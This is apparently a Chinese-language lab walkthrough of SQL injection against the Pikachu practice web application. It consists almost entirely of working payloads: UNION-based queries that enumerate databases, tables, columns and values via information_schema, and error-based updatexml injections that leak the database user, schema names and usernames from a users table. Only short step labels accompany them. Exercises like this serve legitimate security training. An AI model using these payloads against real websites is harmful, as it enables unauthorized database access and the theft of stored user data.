id=-1 union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+ #获取全部库名,后续不再使用 id=-1 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1--+ #获取第一行库名
获取表名
1
id=-1 union select 1,table_name from information_schema.tables where table_schema='pikachu' limit 0,1--+
获取字段名
第一行是id没什么用,这里我们查第二行,是userid…….,算了,全拿出来吧
1 2
id=-1 union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='httpinfo' limit 1,1--+ id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='httpinfo'--+
看看值
1
id=-1 union select 1,group_concat(ipaddress) from httpinfo limit 0,1--+
name=-1' union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA--+
name=-1' union select 1,table_name from information_schema.tables where table_schema='pikachu' limit 0,1--+
name=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='httpinfo'--+
name=-1' union select 1,group_concat(ipaddress) from httpinfo limit 0,1--+
既然注入方式判断和报错注入差不多,我们就试试报错注入
1
?name=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
果然,这一关是可以使用报错注入的。
相关payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
#获取use()值 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
#获取库名 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #方法一 ' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ #方法二
#获取表名 ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1)--+
#获取字段名 ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='httpinfo' limit 0,1),0x7e),1)--+
#获取值 ' and updatexml(1,concat(0x7e,(select ipaddress from httpinfo limit 0,1),0x7e),1)--+
#获取use()值 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and'
#获取库名 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and' #方法一(获取当前库名) ' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata limit 0,1),1,31),0x7e),1) and' #方法二(获取当前所有库名)
#获取表名 ' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,30),0x7e),1) and'
#获取字段名 ' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='httpinfo'),1,30),0x7e),1) and'
#获取值 ' and updatexml(1,concat(0x7e,substr((select group_concat(ipaddress) from httpinfo),1,30),0x7e),1) and'
#获取use()值 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
#获取库名 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ #方法一
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+ #方法二
#获取表名 ' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+
#获取字段名 ' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)--+
#获取值 ' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username)) from users),1,31),0x7e),1) --+